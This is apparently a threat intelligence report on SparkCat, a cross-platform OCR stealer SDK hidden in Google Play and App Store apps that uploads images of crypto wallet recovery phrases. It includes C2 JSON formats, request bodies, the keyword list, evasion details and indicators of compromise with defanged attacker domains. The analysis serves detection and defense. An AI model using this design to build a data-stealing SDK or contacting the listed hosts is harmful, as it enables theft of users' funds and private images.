In March 2023, researchers at ESET discovered malware implants embedded into various messaging app mods. Some of these scanned users’ image galleries in search of crypto wallet access recovery phrases. The search employed an OCR model which selected images on the victim’s device to exfiltrate and send to the C2 server. The campaign, which targeted Android and Windows users, saw the malware spread through unofficial sources. In late 2024, we discovered a new malware campaign we dubbed “SparkCat”, whose operators used similar tactics while attacking Android and iOS users through both official and unofficial app stores. Our conclusions in a nutshell:
- We found Android and iOS apps, some available in Google Play and the App Store, which were embedded with a malicious SDK/framework for stealing recovery phrases for crypto wallets. The infected apps in Google Play had been downloaded more than 242,000 times. This was the first time a stealer had been found in Apple’s App Store.
- The Android malware module would decrypt and launch an OCR plug-in built with Google’s ML Kit library, and use that to recognize text it found in images inside the gallery. Images that matched keywords received from the C2 were sent to the server. The iOS-specific malicious module had a similar design and also relied on Google’s ML Kit library for OCR.
- The malware, which we dubbed “SparkCat”, used an unidentified protocol implemented in Rust, a language untypical of mobile apps, to communicate with the C2.
- Judging by timestamps in malware files and creation dates of configuration files in GitLab repositories, SparkCat has been active since March 2024.
A malware SDK in Google Play apps
The first app to arouse our suspicion was a food delivery app in the UAE and Indonesia, named “ComeCome” (APK name: com.bintiger.mall.android), which was available in Google Play at the time of the research, with more than 10,000 downloads.
The onCreate method in the Application subclass, which is one of the app’s entry points, was overridden in version 2.0.0 (f99252b23f42b9b054b7233930532fcd). This method initializes an SDK component named “Spark”. It was originally obfuscated, so we statically deobfuscated it before analyzing.
Spark is written in Java. When initialized, it downloads a JSON configuration file from a GitLab URL embedded in the malware body. The JSON is decoded with base64 and then decrypted with AES-128 in CBC mode.
If the SDK fails to retrieve a configuration, the default settings are used.
We managed to download the following config from GitLab:
1 2 3 4 5 |
{ "http": ["https://api.aliyung.org"], "rust": ["api.aliyung.com:18883"], "tfm": 1 } |
The “http” and “rust” fields contain SDK-specific C2 addresses, and the tfm flag is used to select a C2. With tfm equal to 1, “rust” will be used as the C2, and “http” if tfm has any other value.
Spark uses POST requests to communicate with the “http” server. It encrypts data with AES-256 in CBC mode before sending and decrypts server responses with AES-128 in CBC mode. In both cases, the keys are hard-coded constants.
The process of sending data to “rust” consists of three stages:
- Data is encrypted with AES-256 in CBC mode using the same key as in the case of the “http” server.
- The malware generates a JSON, where <PATH> is the data upload path and <DATA> is the encrypted data from the previous stage.
123456{"path": "upload@<PATH>","method": "POST","contentType": "application/json","data": "<DATA>"} - The JSON is sent to the server with the help of the native libmodsvmp.so library via the unidentified protocol over TCP sockets. Written in Rust, the library disguises itself as a popular Android obfuscator.
Static analysis of the library wasn’t easy, as Rust uses a non-standard calling convention and the file had no function names in it. We managed to reconstruct the interaction pattern after running a dynamic analysis with Frida. Before sending data to the server, the library generates a 32-byte key for the AES-GCM-SIV cipher. With this key, it encrypts the data, pre-compressed with ZSTD. The algorithm’s nonce value is not generated and set to “unique nonce” (sic) in the code.
The AES key is encrypted with RSA and is then also sent to the server. The public key for this RSA encryption is passed when calling a native method from the malicious SDK, in PEM format. The message is padded with 224 random bytes prior to AES key encryption. Upon receiving the request, the attackers’ server decrypts the AES key with a private RSA key, decodes the data it received, and then compresses the response with ZSTD and encrypts it with the AES-GCM-SIV algorithm. After being decrypted in the native library, the server response is passed to the SDK where it undergoes base64 decoding and decryption according to the same principle used for communication with the “http” server. See below for an example of communication between the malware module and the “rust” server.
Once a configuration has been downloaded, Spark decrypts a payload from assets and executes it in a separate thread. It uses XOR with a 16-byte key for a cipher.
The payload (c84784a5a0ee6fedc2abe1545f933655) is a wrapper for the TextRecognizer interface in Google’s ML Kit library. It loads different OCR models depending on the system language to recognize Latin, Korean, Chinese or Japanese characters in images. The SDK then uploads device information to /api/e/d/u on the C2 server. The server responds with an object that controls further malware activities. The object is a JSON file, its structure shown below. The uploadSwitch flag allows the malware to keep running (value 1).
1 2 3 4 5 6 7 8 9 |
{ "code": 0, "message": "success", "data": { "uploadSwitch": 1, "pw": 0, "rs": "" } } |
The SDK then registers an application activity lifecycle callback. Whenever the user initiates a chat with the support team, implemented with the legitimate third-party Easemob HelpDesk SDK, the handler requests access to the device’s image gallery. If the pw flag in the aforementioned object is equal to 1, the module will keep requesting access if denied. The reasoning behind the SDK’s request seems sound at first: users may attach images when contacting support.
If access is granted, the SDK runs its main functionality. This starts with sending a request to /api/e/config/rekognition on the C2 and getting parameters for processing OCR results in a response.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
{ "code": 0, "message": "success", "data": { "letterMax": 34, "letterMin": 2, "enable": 1, "wordlistMatchMin": 9, "interval": 100, "lang": 1, "wordMin": 12, "wordMax": 34 } } |
These parameters are used by processor classes that filter images by OCR-recognized words. The malware also requests a list of keywords at /api/e/config/keyword for KeywordsProcessor, which uses these to select images to upload to the C2 server.
Besides KeywordsProcessor, the malware contains two further processors: DictProcessor and WordNumProcessor. The former filters images using localized dictionaries stored decrypted inside rapp.binary in the assets, and the latter filters words by length. The letterMin and letterMax parameters for each process define the permitted range of word length. For DictProcessor, wordlistMatchMin sets a minimum threshold for dictionary word matches in an image. For WordNumProcessor, wordMin and wordMax define the acceptable range for the total number of recognized words. The rs field in the response to the request for registering an infected device controls which processor will be used.
Images that match the search criteria are downloaded from the device in three steps. First, a request containing the image’s MD5 hash is sent to /api/e/img/uploadedCheck on the C2. Next, the image is uploaded to either Amazon’s cloud storage or to file@/api/res/send on the “rust” server. After that, a link to the image is uploaded to /api/e/img/rekognition on the C2. So, the SDK, designed for analytics as suggested by the package name com.spark.stat, is actually malware that selectively steals gallery content.
We asked ourselves what kind of images the attackers were looking for. To find out, we requested from the C2 servers a list of keywords for OCR-based search. In each case, we received words in Chinese, Japanese, Korean, English, Czech, French, Italian, Polish and Portuguese. The terms all indicated that the attackers were financially motivated, specifically targeting recovery phrases also known as “mnemonics” that can be used to regain access to cryptocurrency wallets.
1 2 3 4 5 6 7 8 9 |
{ "code": 0, "message": "success", "data": { "keywords": ["助记词", "助記詞", "ニーモニック", "기억코드", "Mnemonic", "Mnemotecnia", "Mnémonique", "Mnemonico", "Mnemotechnika", "Mnemônico", "클립보드로복사", "복구", "단어", "문구", "계정", "Phrase"] } } |
Unfortunately, ComeCome was not the only app we found embedded with malicious content. We discovered a number of additional, unrelated apps covering a variety of subjects. Combined, these apps had been installed over 242,000 times at the time of writing this, and some of them remained accessible on Google Play. A full inventory can be found under the Indicators of Compromise section. We alerted Google to the presence of infected apps in its store.
Furthermore, our telemetry showed that malicious apps were also being spread through unofficial channels.
SDK features could vary slightly from app to app. Whereas the malware in ComeCome only requested permissions when the user opened the support chat, in some other cases, launching the core functionality acted as the trigger.
One small detail…
As we analyzed the trojanized Android apps, we noticed how the SDK set deviceType to “android” in device information it was sending to the C2, which suggested that a similar Trojan existed for other platforms.
A subsequent investigation uncovered malicious apps in App Store infected with a framework that contained the same Trojan. For instance, ComeCome for iOS was infected in the same way as its Android version. This is the first known case of an app infected with OCR spyware being found in Apple’s official app marketplace.
Malicious frameworks in App Store apps
We detected a series of apps embedded with a malicious framework in the App Store. We cannot confirm with certainty whether the infection was a result of a supply chain attack or deliberate action by the developers. Some of the apps, such as food delivery services, appeared to be legitimate, whereas others apparently had been built to lure victims. For example, we saw several similar AI-featured “messaging apps” by the same developer:
Besides the malicious framework itself, some of the infected apps contained a modify_gzip.rb script in the root folder. It was apparently used by the developers to embed the framework in the app:
The framework itself is written in Objective-C and obfuscated with HikariLLVM. In the apps we detected, it had one of three names:
- GZIP;
- googleappsdk;
- stat.
As with the Android-specific version, the iOS malware utilized the ML Kit interface, which provided access to a Google OCR model trained to recognize text and a Rust library that implemented a custom C2 communication protocol. However, in this case, it was embedded directly into the malicious executable. Unlike the Android version, the iOS framework retained debugging symbols, which allowed us to identify several unique details:
- The lines reveal the paths on the framework creators’ device where the project was stored, including the user names:
- /Users/qiongwu/: the project author’s home directory
- /Users/quiwengjing/: the Rust library creator’s home directory
- The C2-rust communication module was named im_net_sys. Besides the client, it contains code that the attackers’ server presumably uses to communicate with victims.
- The project’s original name is GZIP.
The framework contains several malicious classes. The following are of particular interest:
- MMMaker: downloads a configuration and gathers information about the device.
- ApiMgr: sends device data.
- PhotoMgr: searches for photos containing keywords on the device and uploads them to the server.
- MMCore: stores information about the C2 session.
- MMLocationMgr: collects the current location of the device. It sent no data during our testing, so the exact purpose of this class remained unclear.
Certain classes, such as MMMaker, could be missing or bear a different name in earlier versions of the framework, but this didn’t change the malware’s core functionality.
Obfuscation significantly complicates the static analysis of samples, as strings are encrypted and the program’s control flow is obscured. To quickly decrypt the strings of interest, we opted for dynamic analysis. We ran the application under Frida and captured a dump of the _data section where these strings were stored. What caught our attention was the fact that the app bundleID was among the decrypted data:
As it turned out, the framework also stored other app bundle identifiers used in the +[MMCore config] selector. Our takeaways are as follows:- The Trojan can behave differently depending on the app it is running in.
- There are more potentially infected apps than we originally thought.
For the full list of bundle IDs we collected from decrypted strings in various framework samples, see the IoC section. Some of the apps associated with these IDs had been removed from the App Store at the time of the investigation, whereas others were still there and contained malicious code. Some of the IDs on the list referred to apps that did not contain the malicious framework at the time of this investigation.
As with the Android-specific version, the Trojan implements three modes of filtering OCR output: keywords, word length, and localized dictionaries stored in encrypted form right inside the framework, in a “wordlists” folder. Unfortunately, we were unable to ascertain that the malware indeed made use of the last method. None of the samples we analyzed contained links to the dictionaries or accessed them while running.
Sending selected photos containing keywords is a key step in the malicious framework’s operation. Similar to the Android app, the Trojan requests permission to access the gallery only when launching the View Controller responsible for displaying the support chat. At the initialization stage, the Trojan, depending on the application it is running in, replaces the viewDidLoad or viewWillAppear method in the relevant controller with its own wrapper that calls the method +[PhotoMgr startTask:]. The latter then checks if the application has access to the gallery and requests it if needed. Next, if access is granted, PhotoMgr searches for photos that match sending criteria among those that are available and have not been processed before.
Although it took several attempts, we managed to make the app upload a picture to Amazon’s cloud and then send information about it to the attackers’ server. The app was using HTTPS to communicate with the server, not the custom “rust” protocol:
The data being sent looks as follows:
1 2 3 4 5 6 |
POST /api/e/img/uploadedCheck { "imgSign": <imgMD5>, "orgId": <implantId>, "deviceId": <deviceUUID> } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
POST api/e/img/rekognition { "imgUrl": "https://dmbucket102.s3.ap-northeast- 1.amazonaws.com/"<app_name>_<device_uuid>"/photo_"<timestamp>".jpg", "deviceName": "ios", "appName": <appName>, "deviceUUID": <deviceUUID>, "imgSign": <imgMD5>, "imgSize": <imgSize>, "orgId":<implantId>, "deviceChannel": <iphoneModel>, "keyword":<keywordsFoundOnPicture>, "reksign":<processor type> } |
The oldest version of the malicious framework we were investigating was built on March 15, 2024. While it doesn’t differ significantly from newer versions, this one contains more unencrypted strings, including API endpoints and a single, hardcoded C2 address. Server responses are received in plaintext.
Campaign features
While analyzing the Android apps, we found that the word processor code contained comments in Chinese. Error descriptions returned by the C2 server in response to malformed requests were also in Chinese. These, along with the name of the framework developer’s home directory which we obtained while analyzing the iOS-specific version suggest that the creator of the malicious module speaks fluent Chinese. That being said, we have insufficient data to attribute the campaign to a known cybercrime gang.
Our investigation revealed that the attackers were targeting crypto wallet recovery phrases, which were sufficient for gaining full control over a victim’s crypto wallet to steal the funds. It must be noted that the malware is flexible enough to steal not just these phrases but also other sensitive data from the gallery, such as messages or passwords that might have been captured in screenshots. Multiple OCR results processing modes mitigate the effects of model errors that could affect the recognition of access recovery phrase images if only keyword processing were used.
Our analysis of the malicious Rust code inside the iOS frameworks revealed client code for communicating with the “rust” server and server-side encryption components. This suggests that the attackers’ servers likely also use Rust for protocol handling.
We believe that this campaign is targeting, at a minimum, Android and iOS users in Europe and Asia, as indicated by the following:
- The keywords used were in various languages native to those who live in European and Asian countries.
- The dictionaries inside assets were localized in the same way as the keywords.
- Some of the apps apparently operate in several countries. Some food delivery apps support signing up with a phone number from the UAE, Kazakhstan, China, Indonesia, Zimbabwe and other countries.
We suspect that mobile users in other regions besides Europe and Asia may have been targeted by this malicious campaign as well.
One of the first malicious modules that we started our investigation with was named “Spark”. The bundle ID of the malicious framework itself, “bigCat.GZIPApp”, caught our attention when we analyzed the iOS-specific Trojan. Hence the name, “SparkCat”. The following are some of the characteristics of this malware:
- Cross-platform compatibility;
- The use of the Rust programming language, which is rarely found in mobile apps;
- Official app marketplaces as a propagation vector;
- Stealth, with C2 domains often mimicking legitimate services and malicious frameworks disguised as system packages;
- Obfuscation, which hinders analysis and detection.
Conclusion
Unfortunately, despite rigorous screening by the official marketplaces and general awareness of OCR-based crypto wallet theft scams, the infected apps still found their way into Google Play and the App Store. What makes this Trojan particularly dangerous is that there’s no indication of a malicious implant hidden within the app. The permissions that it requests may look like they are needed for its core functionality or appear harmless at first glance. The malware also runs quite stealthily. This case once again shatters the myth that iOS is somehow impervious to threats posed by malicious apps targeting Android. Here are some tips that can help you avoid becoming a victim of this malware:
- If you have one of the infected apps installed on your device, remove it and avoid reinstalling until a fix is released.
- Avoid storing screenshots with sensitive information, such as crypto wallets recovery phrases, in the gallery. You can store passwords, confidential documents and other sensitive information in special apps.
- Use a robust security product on all your devices.
Our security products return the following verdicts when detecting malware associated with this campaign:
- HEUR:Trojan.IphoneOS.SparkCat.*
- HEUR:Trojan.AndroidOS.SparkCat.*
Indicators of compromise
Infected Android apps
0ff6a5a204c60ae5e2c919ac39898d4f
21bf5e05e53c0904b577b9d00588e0e7
a4a6d233c677deb862d284e1453eeafb
66b819e02776cb0b0f668d8f4f9a71fd
f28f4fd4a72f7aab8430f8bc91e8acba
51cb671292eeea2cb2a9cc35f2913aa3
00ed27c35b2c53d853fafe71e63339ed
7ac98ca66ed2f131049a41f4447702cd
6a49749e64eb735be32544eab5a6452d
10c9dcabf0a7ed8b8404cd6b56012ae4
24db4778e905f12f011d13c7fb6cebde
4ee16c54b6c4299a5dfbc8cf91913ea3
a8cd933b1cb4a6cae3f486303b8ab20a
ee714946a8af117338b08550febcd0a9
0b4ae281936676451407959ec1745d93
f99252b23f42b9b054b7233930532fcd
21bf5e05e53c0904b577b9d00588e0e7
eea5800f12dd841b73e92d15e48b2b71
iOS framework MD5s:
35fce37ae2b84a69ceb7bbd51163ca8a
cd6b80de848893722fa11133cbacd052
6a9c0474cc5e0b8a9b1e3baed5a26893
bbcbf5f3119648466c1300c3c51a1c77
fe175909ac6f3c1cce3bc8161808d8b7
31ebf99e55617a6ca5ab8e77dfd75456
02646d3192e3826dd3a71be43d8d2a9e
1e14de6de709e4bf0e954100f8b4796b
54ac7ae8ace37904dcd61f74a7ff0d42
caf92da1d0ff6f8251991d38a840fb4a
db128221836b9c0175a249c7f567f620
Trojan configuration in GitLab
hxxps://gitlab[.]com/group6815923/ai/-/raw/main/rel.json
hxxps://gitlab[.]com/group6815923/kz/-/raw/main/rel.json
C2
api.firebaseo[.]com
api.aliyung[.]com
api.aliyung[.]org
uploads.99ai[.]world
socket.99ai[.]world
api.googleapps[.]top
Photo storage
hxxps://dmbucket102.s3.ap-northeast-1.amazonaws[.]com
Names of Infected Android APKs from Google Play
com.crownplay.vanity.address
com.atvnewsonline.app
com.bintiger.mall.android
com.websea.exchange
org.safew.messenger
org.safew.messenger.store
com.tonghui.paybank
com.bs.feifubao
com.sapp.chatai
com.sapp.starcoin
BundleIDs encrypted inside the iOS frameworks
im.pop.app.iOS.Messenger
com.hkatv.ios
com.atvnewsonline.app
io.zorixchange
com.yykc.vpnjsq
com.llyy.au
com.star.har91vnlive
com.jhgj.jinhulalaab
com.qingwa.qingwa888lalaaa
com.blockchain.uttool
com.wukongwaimai.client
com.unicornsoft.unicornhttpsforios
staffs.mil.CoinPark
com.lc.btdj
com.baijia.waimai
com.ctc.jirepaidui
com.ai.gbet
app.nicegram
com.blockchain.ogiut
com.blockchain.98ut
com.dream.towncn
com.mjb.Hardwood.Test
com.galaxy666888.ios
njiujiu.vpntest
com.qqt.jykj
com.ai.sport
com.feidu.pay
app.ikun277.test
com.usdtone.usdtoneApp2
com.cgapp2.wallet0
com.bbydqb
com.yz.Byteswap.native
jiujiu.vpntest
com.wetink.chat
com.websea.exchange
com.customize.authenticator
im.token.app
com.mjb.WorldMiner.new
com.kh-super.ios.superapp
com.thedgptai.event
com.yz.Eternal.new
xyz.starohm.chat
com.crownplay.luckyaddress1
Take my money: OCR crypto stealers in Google Play and App Store